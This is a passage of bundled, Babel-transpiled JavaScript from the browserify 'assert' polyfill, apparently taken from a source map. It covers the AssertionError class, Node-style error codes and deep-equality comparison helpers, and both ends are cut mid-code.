2) {\n if (cur > 4) {\n res += \"\\n\".concat(blue, \"...\").concat(white);\n skipped = true;\n } else if (cur > 3) {\n res += \"\\n \".concat(actualLines[i - 2]);\n printedLines++;\n }\n\n res += \"\\n \".concat(actualLines[i - 1]);\n printedLines++;\n } // Mark the current line as the last diverging one.\n\n\n lastPos = i; // Add the actual line to the result and cache the expected diverging\n // line so consecutive diverging lines show up as +++--- and not +-+-+-.\n\n res += \"\\n\".concat(green, \"+\").concat(white, \" \").concat(actualLine);\n other += \"\\n\".concat(red, \"-\").concat(white, \" \").concat(expectedLine);\n printedLines += 2; // Lines are identical\n } else {\n // Add all cached information to the result before adding other things\n // and reset the cache.\n res += other;\n other = ''; // If the last diverging line is exactly one line above or if it is the\n // very first line, add the line to the result.\n\n if (cur === 1 || i === 0) {\n res += \"\\n \".concat(actualLine);\n printedLines++;\n }\n }\n } // Inspected object to big (Show ~20 rows max)\n\n\n if (printedLines > 20 && i < maxLines - 2) {\n return \"\".concat(msg).concat(skippedMsg, \"\\n\").concat(res, \"\\n\").concat(blue, \"...\").concat(white).concat(other, \"\\n\") + \"\".concat(blue, \"...\").concat(white);\n }\n }\n\n return \"\".concat(msg).concat(skipped ? skippedMsg : '', \"\\n\").concat(res).concat(other).concat(end).concat(indicator);\n}\n\nvar AssertionError =\n/*#__PURE__*/\nfunction (_Error) {\n _inherits(AssertionError, _Error);\n\n function AssertionError(options) {\n var _this;\n\n _classCallCheck(this, AssertionError);\n\n if (_typeof(options) !== 'object' || options === null) {\n throw new ERR_INVALID_ARG_TYPE('options', 'Object', options);\n }\n\n var message = options.message,\n operator = options.operator,\n stackStartFn = options.stackStartFn;\n var actual = options.actual,\n expected = options.expected;\n var limit = Error.stackTraceLimit;\n Error.stackTraceLimit = 0;\n\n if (message != null) {\n _this = _possibleConstructorReturn(this, _getPrototypeOf(AssertionError).call(this, String(message)));\n } else {\n if (process.stderr && process.stderr.isTTY) {\n // Reset on each call to make sure we handle dynamically set environment\n // variables correct.\n if (process.stderr && process.stderr.getColorDepth && process.stderr.getColorDepth() !== 1) {\n blue = \"\\x1B[34m\";\n green = \"\\x1B[32m\";\n white = \"\\x1B[39m\";\n red = \"\\x1B[31m\";\n } else {\n blue = '';\n green = '';\n white = '';\n red = '';\n }\n } // Prevent the error stack from being visible by duplicating the error\n // in a very close way to the original in case both sides are actually\n // instances of Error.\n\n\n if (_typeof(actual) === 'object' && actual !== null && _typeof(expected) === 'object' && expected !== null && 'stack' in actual && actual instanceof Error && 'stack' in expected && expected instanceof Error) {\n actual = copyError(actual);\n expected = copyError(expected);\n }\n\n if (operator === 'deepStrictEqual' || operator === 'strictEqual') {\n _this = _possibleConstructorReturn(this, _getPrototypeOf(AssertionError).call(this, createErrDiff(actual, expected, operator)));\n } else if (operator === 'notDeepStrictEqual' || operator === 'notStrictEqual') {\n // In case the objects are equal but the operator requires unequal, show\n // the first object and say A equals B\n var base = kReadableOperator[operator];\n var res = inspectValue(actual).split('\\n'); // In case \"actual\" is an object, it should not be reference equal.\n\n if (operator === 'notStrictEqual' && _typeof(actual) === 'object' && actual !== null) {\n base = kReadableOperator.notStrictEqualObject;\n } // Only remove lines in case it makes sense to collapse those.\n // TODO: Accept env to always show the full error.\n\n\n if (res.length > 30) {\n res[26] = \"\".concat(blue, \"...\").concat(white);\n\n while (res.length > 27) {\n res.pop();\n }\n } // Only print a single input.\n\n\n if (res.length === 1) {\n _this = _possibleConstructorReturn(this, _getPrototypeOf(AssertionError).call(this, \"\".concat(base, \" \").concat(res[0])));\n } else {\n _this = _possibleConstructorReturn(this, _getPrototypeOf(AssertionError).call(this, \"\".concat(base, \"\\n\\n\").concat(res.join('\\n'), \"\\n\")));\n }\n } else {\n var _res = inspectValue(actual);\n\n var other = '';\n var knownOperators = kReadableOperator[operator];\n\n if (operator === 'notDeepEqual' || operator === 'notEqual') {\n _res = \"\".concat(kReadableOperator[operator], \"\\n\\n\").concat(_res);\n\n if (_res.length > 1024) {\n _res = \"\".concat(_res.slice(0, 1021), \"...\");\n }\n } else {\n other = \"\".concat(inspectValue(expected));\n\n if (_res.length > 512) {\n _res = \"\".concat(_res.slice(0, 509), \"...\");\n }\n\n if (other.length > 512) {\n other = \"\".concat(other.slice(0, 509), \"...\");\n }\n\n if (operator === 'deepEqual' || operator === 'equal') {\n _res = \"\".concat(knownOperators, \"\\n\\n\").concat(_res, \"\\n\\nshould equal\\n\\n\");\n } else {\n other = \" \".concat(operator, \" \").concat(other);\n }\n }\n\n _this = _possibleConstructorReturn(this, _getPrototypeOf(AssertionError).call(this, \"\".concat(_res).concat(other)));\n }\n }\n\n Error.stackTraceLimit = limit;\n _this.generatedMessage = !message;\n Object.defineProperty(_assertThisInitialized(_this), 'name', {\n value: 'AssertionError [ERR_ASSERTION]',\n enumerable: false,\n writable: true,\n configurable: true\n });\n _this.code = 'ERR_ASSERTION';\n _this.actual = actual;\n _this.expected = expected;\n _this.operator = operator;\n\n if (Error.captureStackTrace) {\n // eslint-disable-next-line no-restricted-syntax\n Error.captureStackTrace(_assertThisInitialized(_this), stackStartFn);\n } // Create error message including the error code in the name.\n\n\n _this.stack; // Reset the name.\n\n _this.name = 'AssertionError';\n return _possibleConstructorReturn(_this);\n }\n\n _createClass(AssertionError, [{\n key: \"toString\",\n value: function toString() {\n return \"\".concat(this.name, \" [\").concat(this.code, \"]: \").concat(this.message);\n }\n }, {\n key: inspect.custom,\n value: function value(recurseTimes, ctx) {\n // This limits the `actual` and `expected` property default inspection to\n // the minimum depth. Otherwise those values would be too verbose compared\n // to the actual error message which contains a combined view of these two\n // input values.\n return inspect(this, _objectSpread({}, ctx, {\n customInspect: false,\n depth: 0\n }));\n }\n }]);\n\n return AssertionError;\n}(_wrapNativeSuper(Error));\n\nmodule.exports = AssertionError;","// Currently in sync with Node.js lib/internal/errors.js\n// https://github.com/nodejs/node/commit/3b044962c48fe313905877a96b5d0894a5404f6f\n\n/* eslint node-core/documented-errors: \"error\" */\n\n/* eslint node-core/alphabetize-errors: \"error\" */\n\n/* eslint node-core/prefer-util-format-errors: \"error\" */\n'use strict'; // The whole point behind this internal module is to allow Node.js to no\n// longer be forced to treat every error message change as a semver-major\n// change. The NodeError classes here all expose a `code` property whose\n// value statically and permanently identifies the error. While the error\n// message may change, the code should not.\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\nvar codes = {}; // Lazy loaded\n\nvar assert;\nvar util;\n\nfunction createErrorType(code, message, Base) {\n if (!Base) {\n Base = Error;\n }\n\n function getMessage(arg1, arg2, arg3) {\n if (typeof message === 'string') {\n return message;\n } else {\n return message(arg1, arg2, arg3);\n }\n }\n\n var NodeError =\n /*#__PURE__*/\n function (_Base) {\n _inherits(NodeError, _Base);\n\n function NodeError(arg1, arg2, arg3) {\n var _this;\n\n _classCallCheck(this, NodeError);\n\n _this = _possibleConstructorReturn(this, _getPrototypeOf(NodeError).call(this, getMessage(arg1, arg2, arg3)));\n _this.code = code;\n return _this;\n }\n\n return NodeError;\n }(Base);\n\n codes[code] = NodeError;\n} // https://github.com/nodejs/node/blob/v10.8.0/lib/internal/errors.js\n\n\nfunction oneOf(expected, thing) {\n if (Array.isArray(expected)) {\n var len = expected.length;\n expected = expected.map(function (i) {\n return String(i);\n });\n\n if (len > 2) {\n return \"one of \".concat(thing, \" \").concat(expected.slice(0, len - 1).join(', '), \", or \") + expected[len - 1];\n } else if (len === 2) {\n return \"one of \".concat(thing, \" \").concat(expected[0], \" or \").concat(expected[1]);\n } else {\n return \"of \".concat(thing, \" \").concat(expected[0]);\n }\n } else {\n return \"of \".concat(thing, \" \").concat(String(expected));\n }\n} // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith\n\n\nfunction startsWith(str, search, pos) {\n return str.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search;\n} // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith\n\n\nfunction endsWith(str, search, this_len) {\n if (this_len === undefined || this_len > str.length) {\n this_len = str.length;\n }\n\n return str.substring(this_len - search.length, this_len) === search;\n} // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes\n\n\nfunction includes(str, search, start) {\n if (typeof start !== 'number') {\n start = 0;\n }\n\n if (start + search.length > str.length) {\n return false;\n } else {\n return str.indexOf(search, start) !== -1;\n }\n}\n\ncreateErrorType('ERR_AMBIGUOUS_ARGUMENT', 'The \"%s\" argument is ambiguous. %s', TypeError);\ncreateErrorType('ERR_INVALID_ARG_TYPE', function (name, expected, actual) {\n if (assert === undefined) assert = require('../assert');\n assert(typeof name === 'string', \"'name' must be a string\"); // determiner: 'must be' or 'must not be'\n\n var determiner;\n\n if (typeof expected === 'string' && startsWith(expected, 'not ')) {\n determiner = 'must not be';\n expected = expected.replace(/^not /, '');\n } else {\n determiner = 'must be';\n }\n\n var msg;\n\n if (endsWith(name, ' argument')) {\n // For cases like 'first argument'\n msg = \"The \".concat(name, \" \").concat(determiner, \" \").concat(oneOf(expected, 'type'));\n } else {\n var type = includes(name, '.') ? 'property' : 'argument';\n msg = \"The \\\"\".concat(name, \"\\\" \").concat(type, \" \").concat(determiner, \" \").concat(oneOf(expected, 'type'));\n } // TODO(BridgeAR): Improve the output by showing `null` and similar.\n\n\n msg += \". Received type \".concat(_typeof(actual));\n return msg;\n}, TypeError);\ncreateErrorType('ERR_INVALID_ARG_VALUE', function (name, value) {\n var reason = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'is invalid';\n if (util === undefined) util = require('util/');\n var inspected = util.inspect(value);\n\n if (inspected.length > 128) {\n inspected = \"\".concat(inspected.slice(0, 128), \"...\");\n }\n\n return \"The argument '\".concat(name, \"' \").concat(reason, \". Received \").concat(inspected);\n}, TypeError, RangeError);\ncreateErrorType('ERR_INVALID_RETURN_VALUE', function (input, name, value) {\n var type;\n\n if (value && value.constructor && value.constructor.name) {\n type = \"instance of \".concat(value.constructor.name);\n } else {\n type = \"type \".concat(_typeof(value));\n }\n\n return \"Expected \".concat(input, \" to be returned from the \\\"\").concat(name, \"\\\"\") + \" function but got \".concat(type, \".\");\n}, TypeError);\ncreateErrorType('ERR_MISSING_ARGS', function () {\n for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n if (assert === undefined) assert = require('../assert');\n assert(args.length > 0, 'At least one arg needs to be specified');\n var msg = 'The ';\n var len = args.length;\n args = args.map(function (a) {\n return \"\\\"\".concat(a, \"\\\"\");\n });\n\n switch (len) {\n case 1:\n msg += \"\".concat(args[0], \" argument\");\n break;\n\n case 2:\n msg += \"\".concat(args[0], \" and \").concat(args[1], \" arguments\");\n break;\n\n default:\n msg += args.slice(0, len - 1).join(', ');\n msg += \", and \".concat(args[len - 1], \" arguments\");\n break;\n }\n\n return \"\".concat(msg, \" must be specified\");\n}, TypeError);\nmodule.exports.codes = codes;","// Currently in sync with Node.js lib/internal/util/comparisons.js\n// https://github.com/nodejs/node/commit/112cc7c27551254aa2b17098fb774867f05ed0d9\n'use strict';\n\nfunction _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); }\n\nfunction _nonIterableRest() { throw new TypeError(\"Invalid attempt to destructure non-iterable instance\"); }\n\nfunction _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i[\"return\"] != null) _i[\"return\"](); } finally { if (_d) throw _e; } } return _arr; }\n\nfunction _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nvar regexFlagsSupported = /a/g.flags !== undefined;\n\nvar arrayFromSet = function arrayFromSet(set) {\n var array = [];\n set.forEach(function (value) {\n return array.push(value);\n });\n return array;\n};\n\nvar arrayFromMap = function arrayFromMap(map) {\n var array = [];\n map.forEach(function (value, key) {\n return array.push([key, value]);\n });\n return array;\n};\n\nvar objectIs = Object.is ? Object.is : require('object-is');\nvar objectGetOwnPropertySymbols = Object.getOwnPropertySymbols ? Object.getOwnPropertySymbols : function () {\n return [];\n};\nvar numberIsNaN = Number.isNaN ? Number.isNaN : require('is-nan');\n\nfunction uncurryThis(f) {\n return f.call.bind(f);\n}\n\nvar hasOwnProperty = uncurryThis(Object.prototype.hasOwnProperty);\nvar propertyIsEnumerable = uncurryThis(Object.prototype.propertyIsEnumerable);\nvar objectToString = uncurryThis(Object.prototype.toString);\n\nvar _require$types = require('util/').types,\n isAnyArrayBuffer = _require$types.isAnyArrayBuffer,\n isArrayBufferView = _require$types.isArrayBufferView,\n isDate = _require$types.isDate,\n isMap = _require$types.isMap,\n isRegExp = _require$types.isRegExp,\n isSet = _require$types.isSet,\n isNativeError = _require$types.isNativeError,\n isBoxedPrimitive = _require$types.isBoxedPrimitive,\n isNumberObject = _require$types.isNumberObject,\n isStringObject = _require$types.isStringObject,\n isBooleanObject = _require$types.isBooleanObject,\n isBigIntObject = _require$types.isBigIntObject,\n isSymbolObject = _require$types.isSymbolObject,\n isFloat32Array = _require$types.isFloat32Array,\n isFloat64Array = _require$types.isFloat64Array;\n\nfunction isNonIndex(key) {\n if (key.length === 0 || key.length > 10) return true;\n\n for (var i = 0; i < key.length; i++) {\n var code = key.charCodeAt(i);\n if (code < 48 || code > 57) return true;\n } // The maximum size for an array is 2 ** 32 -1.\n\n\n return key.length === 10 && key >= Math.pow(2, 32);\n}\n\nfunction getOwnNonIndexProperties(value) {\n return Object.keys(value).filter(isNonIndex).concat(objectGetOwnPropertySymbols(value).filter(Object.prototype.propertyIsEnumerable.bind(value)));\n} // Taken from https://github.com/feross/buffer/blob/680e9e5e488f22aac27599a57dc844a6315928dd/index.js\n// original notice:\n\n/*!\n * The buffer module from node.js, for the browser.\n *\n * @author Feross Aboukhadijeh \n * @license MIT\n */\n\n\nfunction compare(a, b) {\n if (a === b) {\n return 0;\n }\n\n var x = a.length;\n var y = b.length;\n\n for (var i = 0, len = Math.min(x, y); i < len; ++i) {\n if (a[i] !== b[i]) {\n x = a[i];\n y = b[i];\n break;\n }\n }\n\n if (x < y) {\n return -1;\n }\n\n if (y < x) {\n return 1;\n }\n\n return 0;\n}\n\nvar ONLY_ENUMERABLE = undefined;\nvar kStrict = true;\nvar kLoose = false;\nvar kNoIterator = 0;\nvar kIsArray = 1;\nvar kIsSet = 2;\nvar kIsMap = 3; // Check if they have the same source and flags\n\nfunction areSimilarRegExps(a, b) {\n return regexFlagsSupported ? a.source === b.source && a.flags === b.flags : RegExp.prototype.toString.call(a) === RegExp.prototype.toString.call(b);\n}\n\nfunction areSimilarFloatArrays(a, b) {\n if (a.byteLength !== b.byteLength) {\n return false;\n }\n\n for (var offset = 0; offset < a.byteLength; offset++) {\n if (a[offset] !== b[offset]) {\n return false;\n }\n }\n\n return true;\n}\n\nfunction areSimilarTypedArrays(a, b) {\n if (a.byteLength !== b.byteLength) {\n return false;\n }\n\n return compare(new Uint8Array(a.buffer, a.byteOffset, a.byteLength), new Uint8Array(b.buffer, b.byteOffset, b.byteLength)) === 0;\n}\n\nfunction areEqualArrayBuffers(buf1, buf2) {\n return buf1.byteLength === buf2.byteLength && compare(new Uint8Array(buf1), new Uint8Array(buf2)) === 0;\n}\n\nfunction isEqualBoxedPrimitive(val1, val2) {\n if (isNumberObject(val1)) {\n return isNumberObject(val2) && objectIs(Number.prototype.valueOf.call(val1), Number.prototype.valueOf.call(val2));\n }\n\n if (isStringObject(val1)) {\n return isStringObject(val2) && String.prototype.valueOf.call(val1) === String.prototype.valueOf.call(val2);\n }\n\n if (isBooleanObject(val1)) {\n return isBooleanObject(val2) && Boolean.prototype.valueOf.call(val1) === Boolean.prototype.valueOf.call(val2);\n }\n\n if (isBigIntObject(val1)) {\n return isBigIntObject(val2) && BigInt.prototype.valueOf.call(val1) === BigInt.prototype.valueOf.call(val2);\n }\n\n return isSymbolObject(val2) && Symbol.prototype.valueOf.call(val1) === Symbol.prototype.valueOf.call(val2);\n} // Notes: Type tags are historical [[Class]] properties that can be set by\n// FunctionTemplate::SetClassName() in C++ or Symbol.toStringTag in JS\n// and retrieved using Object.prototype.toString.call(obj) in JS\n// See https://tc39.github.io/ecma262/#sec-object.prototype.tostring\n// for a list of tags pre-defined in the spec.\n// There are some unspecified tags in the wild too (e.g. typed array tags).\n// Since tags can be altered, they only serve fast failures\n//\n// Typed arrays and buffers are checked by comparing the content in their\n// underlying ArrayBuffer. This optimization requires that it's\n// reasonable to interpret their underlying memory in the same way,\n// which is checked by comparing their type tags.\n// (e.g. a Uint8Array and a Uint16Array with the same memory content\n// could still be different because they will be interpreted differently).\n//\n// For strict comparison, objects should have\n// a) The same built-in type tags\n// b) The same prototypes.\n\n\nfunction innerDeepEqual(val1, val2, strict, memos) {\n // All identical values are equivalent, as determined by ===.\n if (val1 === val2) {\n if (val1 !== 0) return true;\n return strict ? objectIs(val1, val2) : true;\n } // Check more closely if val1 and val2 are equal.\n\n\n if (strict) {\n if (_typeof(val1) !== 'object') {\n return typeof val1 === 'number' && numberIsNaN(val1) && numberIsNaN(val2);\n }\n\n if (_typeof(val2) !== 'object' || val1 === null || val2 === null) {\n return false;\n }\n\n if (Object.getPrototypeOf(val1) !== Object.getPrototypeOf(val2)) {\n return false;\n }\n } else {\n if (val1 === null || _typeof(val1) !== 'object') {\n if (val2 === null || _typeof(val2) !== 'object') {\n // eslint-disable-next-line eqeqeq\n return val1 == val2;\n }\n\n return false;\n }\n\n if (val2 === null || _typeof(val2) !== 'object') {\n return false;\n }\n }\n\n var val1Tag = objectToString(val1);\n var val2Tag = objectToString(val2);\n\n if (val1Tag !== val2Tag) {\n return false;\n }\n\n if (Array.isArray(val1)) {\n // Check for sparse arrays and general fast path\n if (val1.length !== val2.length) {\n return false;\n }\n\n var keys1 = getOwnNonIndexProperties(val1, ONLY_ENUMERABLE);\n var keys2 = getOwnNonIndexProperties(val2, ONLY_ENUMERABLE);\n\n if (keys1.length !== keys2.length) {\n return false;\n }\n\n return keyCheck(val1, val2, strict, memos, kIsArray, keys1);\n } // [browserify] This triggers on certain types in IE (Map/Set) so we don't\n // wan't to early return out of the rest of the checks. However we can check\n // if the second value is one of these values and the first isn't.\n\n\n if (val1Tag === '[object Object]') {\n // return keyCheck(val1, val2, strict, memos, kNoIterator);\n if (!isMap(val1) && isMap(val2) || !isSet(val1) && isSet(val2)) {\n return false;\n }\n }\n\n if (isDate(val1)) {\n if (!isDate(val2) || Date.prototype.getTime.call(val1) !== Date.prototype.getTime.call(val2)) {\n return false;\n }\n } else if (isRegExp(val1)) {\n if (!isRegExp(val2) || !areSimilarRegExps(val1, val2)) {\n return false;\n }\n } else if (isNativeError(val1) || val1 instanceof Error) {\n // Do not compare the stack as it might differ even though the error itself\n // is otherwise identical.\n if (val1.message !== val2.message || val1.name !== val2.name) {\n return false;\n }\n } else if (isArrayBufferView(val1)) {\n if (!strict && (isFloat32Array(val1) || isFloat64Array(val1))) {\n if (!areSimilarFloatArrays(val1, val2)) {\n return false;\n }\n } else if (!areSimilarTypedArrays(val1, val2)) {\n return false;\n } // Buffer.compare returns true, so val1.length === val2.length. If they both\n // only contain numeric keys, we don't need to exam further than checking\n // the symbols.\n\n\n var _keys = getOwnNonIndexProperties(val1, ONLY_ENUMERABLE);\n\n var _keys2 = getOwnNonIndexProperties(val2, ONLY_ENUMERABLE);\n\n if (_keys.length !== _keys2.length) {\n return false;\n }\n\n return keyCheck(val1, val2, strict, memos, kNoIterator, _keys);\n } else if (isSet(val1)) {\n if (!isSet(val2) || val1.size !== val2.size) {\n return false;\n }\n\n return keyCheck(val1, val2, strict, memos, kIsSet);\n } else if (isMap(val1)) {\n if (!isMap(val2) || val1.size !== val2.size) {\n return false;\n }\n\n return keyCheck(val1, val2, strict, memos, kIsMap);\n } else if (isAnyArrayBuffer(val1)) {\n if (!areEqualArrayBuffers(val1, val2)) {\n return false;\n }\n } else if (isBoxedPrimitive(val1) && !isEqualBoxedPrimitive(val1, val2)) {\n return false;\n }\n\n return keyCheck(val1, val2, strict, memos, kNoIterator);\n}\n\nfunction getEnumerables(val, keys) {\n return keys.filter(function (k) {\n return propertyIsEnumerable(val, k);\n });\n}\n\nfunction keyCheck(val1, val2, strict, memos, iterationType, aKeys) {\n // For all remaining Object pairs, including Array, objects and Maps,\n // equivalence is determined by having:\n // a) The same number of owned enumerable properties\n // b) The same set of keys/indexes (although not necessarily the same order)\n // c) Equivalent values for every corresponding key/index\n // d) For Sets and Maps, equal contents\n // Note: this accounts for both named and indexed properties on Arrays.\n if (arguments.length === 5) {\n aKeys = Object.keys(val1);\n var bKeys = Object.keys(val2); // The pair must have the same number of owned properties.\n\n if (aKeys.length !== bKeys.length) {\n return false;\n }\n } // Cheap key test\n\n\n var i = 0;\n\n for (; i < aKeys.length; i++) {\n if (!hasOwnProperty(val2, aKeys[i])) {\n return false;\n }\n }\n\n if (strict && arguments.length === 5) {\n var symbolKeysA = objectGetOwnPropertySymbols(val1);\n\n if (symbolKeysA.length !== 0) {\n var count = 0;\n\n for (i = 0; i < symbolKeysA.length; i++) {\n var key = symbolKeysA[i];\n\n if (propertyIsEnumerable(val1, key)) {\n if (!propertyIsEnumerable(val2, key)) {\n return false;\n }\n\n aKeys.push(key);\n count++;\n } else if (propertyIsEnumerable(val2, key)) {\n return false;\n }\n }\n\n var symbolKeysB = objectGetOwnPropertySymbols(val2);\n\n if (symbolKeysA.length !== symbolKeysB.length && getEnumerables(val2, symbolKeysB).length !== count) {\n return false;\n }\n } else {\n var _symbolKeysB = objectGetOwnPropertySymbols(val2);\n\n if (_symbolKeysB.length !== 0 && getEnumerables(val2, _symbolKeysB).length !== 0) {\n return false;\n }\n }\n }\n\n if (aKeys.length === 0 && (iterationType === kNoIterator || iterationType === kIsArray && val1.length === 0 || val1.size === 0)) {\n return true;\n } // Use memos to handle cycles.\n\n\n if (memos === undefined) {\n memos = {\n val1: new Map(),\n val2: new Map(),\n position: 0\n };\n } else {\n // We prevent up to two map.has(x) calls by directly retrieving the value\n // and checking for undefined. The map can only contain numbers, so it is\n // safe to check for undefined only.\n var val2MemoA = memos.val1.get(val1);\n\n if (val2MemoA !== undefined) {\n var val2MemoB = memos.val2.get(val2);\n\n if (val2MemoB !== undefined) {\n return val2MemoA === val2MemoB;\n }\n }\n\n memos.position++;\n }\n\n memos.val1.set(val1, memos.position);\n memos.val2.set(val2, memos.position);\n var areEq = objEquiv(val1, val2, strict, aKeys, memos, iterationType);\n memos.val1.delete(val1);\n memos.val2.delete(val2);\n return areEq;\n}\n\nfunction setHasEqualElement(set, val1, strict, memo) {\n // Go looking.\n var setValues = arrayFromSet(set);\n\n for (var i = 0; i < setValues.length; i++) {\n var val2 = setValues[i];\n\n if (innerDeepEqual(val1, val2, strict, memo)) {\n // Remove the matching element to make sure we do not check that again.\n set.delete(val2);\n return true;\n }\n }\n\n return false;\n} // See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equality_using\n// Sadly it is not possible to detect corresponding values properly in case the\n// type is a string, number, bigint or boolean. The reason is that those values\n// can match lots of different string values (e.g., 1n == '+00001').\n\n\nfunction findLooseMatchingPrimitives(prim) {\n switch (_typeof(prim)) {\n case 'undefined':\n return null;\n\n case 'object':\n // Only pass in null as object!\n return undefined;\n\n case 'symbol':\n return false;\n\n case 'string':\n prim = +prim;\n // Loose equal entries exist only if the string is possible to convert to\n // a regular number and not NaN.\n // Fall through\n\n case 'number':\n if (numberIsNaN(prim)) {\n return false;\n }\n\n }\n\n return true;\n}\n\nfunction setMightHaveLoosePrim(a, b, prim) {\n var altValue = findLooseMatchingPrimitives(prim);\n if (altValue != null) return altValue;\n return b.has(altValue) && !a.has(altValue);\n}\n\nfunction mapMightHaveLoosePrim(a, b, prim, item, memo) {\n var altValue = findLooseMatchingPrimitives(prim);\n\n if (altValue != null) {\n return altValue;\n }\n\n var curB = b.get(altValue);\n\n if (curB === undefined && !b.has(altValue) || !innerDeepEqual(item, curB, false, memo)) {\n return false;\n }\n\n return !a.has(altValue) && innerDeepEqual(item, curB, false, memo);\n}\n\nfunction setEquiv(a, b, strict, memo) {\n // This is a lazily initiated Set of entries which have to be compared\n // pairwise.\n var set = null;\n var aValues = arrayFromSet(a);\n\n for (var i = 0; i < aValues.length; i++) {\n var val = aValues[i]; // Note: Checking for the objects first improves the performance for object\n // heavy sets but it is a minor slow down for primitives. As they are fast\n // to check this improves the worst case scenario instead.\n\n if (_typeof(val) === 'object' && val !== null) {\n if (set === null) {\n set = new Set();\n } // If the specified value doesn't exist in the second set its an not null\n // object (or non strict only: a not matching primitive) we'll need to go\n // hunting for something thats deep-(strict-)equal to it. To make this\n // O(n log n) complexity we have to copy these values in a new set first.\n\n\n set.add(val);\n } else if (!b.has(val)) {\n if (strict) return false; // Fast path to detect missing string, symbol, undefined and null values.\n\n if (!setMightHaveLoosePrim(a, b, val)) {\n return false;\n }\n\n if (set === null) {\n set = new Set();\n }\n\n set.add(val);\n }\n }\n\n if (set !== null) {\n var bValues = arrayFromSet(b);\n\n for (var _i = 0; _i < bValues.length; _i++) {\n var _val = bValues[_i]; // We have to check if a primitive value is already\n // matching and only if it's not, go hunting for it.\n\n if (_typeof(_val) === 'object' && _val !== null) {\n if (!setHasEqualElement(set, _val, strict, memo)) return false;\n } else if (!strict && !a.has(_val) && !setHasEqualElement(set, _val, strict, memo)) {\n return false;\n }\n }\n\n return set.size === 0;\n }\n\n return true;\n}\n\nfunction mapHasEqualEntry(set, map, key1, item1, strict, memo) {\n // To be able to handle cases like:\n // Map([[{}, 'a'], [{}, 'b']]) vs Map([[{}, 'b'], [{}, 'a']])\n // ... we need to consider *all* matching keys, not just the first we find.\n var setValues = arrayFromSet(set);\n\n for (var i = 0; i < setValues.length; i++) {\n var key2 = setValues[i];\n\n if (innerDeepEqual(key1, key2, strict, memo) && innerDeepEqual(item1, map.get(key2), strict, memo)) {\n set.delete(key2);\n return true;\n }\n }\n\n return false;\n}\n\nfunction mapEquiv(a, b, strict, memo) {\n var set = null;\n var aEntries = arrayFromMap(a);\n\n for (var i = 0; i < aEntries.length; i++) {\n var _aEntries$i = _slicedToArray(aEntries[i], 2),\n key = _aEntries$i[0],\n item1 = _aEntries$i[1];\n\n if (_typeof(key) === 'object' && key !== null) {\n if (set === null) {\n set = new Set();\n }\n\n set.add(key);\n } else {\n // By directly retrieving the value we prevent another b.has(key) check in\n // almost all possible cases.\n var item2 = b.get(key);\n\n if (item2 === undefined && !b.has(key) || !innerDeepEqual(item1, item2, strict, memo)) {\n if (strict) return false; // Fast path to detect missing string, symbol, undefined and null\n // keys.\n\n if (!mapMightHaveLoosePrim(a, b, key, item1, memo)) return false;\n\n if (set === null) {\n set = new Set();\n }\n\n set.add(key);\n }\n }\n }\n\n if (set !== null) {\n var bEntries = arrayFromMap(b);\n\n for (var _i2 = 0; _i2 < bEntries.length; _i2++) {\n var _bEntries$_i = _slicedToArray(bEntries[_i2], 2),\n key = _bEntries$_i[0],\n item = _bEntries$_i[1];\n\n if (_typeof(key) === 'object' && key !== null) {\n if (!mapHasEqualEntry(set, a, key, item, strict, memo)) return false;\n } else if (!strict && (!a.has(key) || !innerDeepEqual(a.get(key), item, false, memo)) && !mapHasEqualEntry(set, a, key, item, false, memo)) {\n return false;\n }\n }\n\n return set.size === 0;\n }\n\n return true;\n}\n\nfunction objEquiv(a, b, strict, keys, memos, iterationType) {\n // Sets and maps don't have their entries accessible via normal object\n // properties.\n var i = 0;\n\n if (iterationType === kIsSet) {\n if (!setEquiv(a, b, strict, memos)) {\n return false;\n }\n } else if (iterationType === kIsMap) {\n if (!mapEquiv(a, b, strict, memos)) {\n return false;\n }\n } else if (iterationType === kIsArray) {\n for (; i < a.length; i++) {\n if (hasOwnProperty(a, i)) {\n if 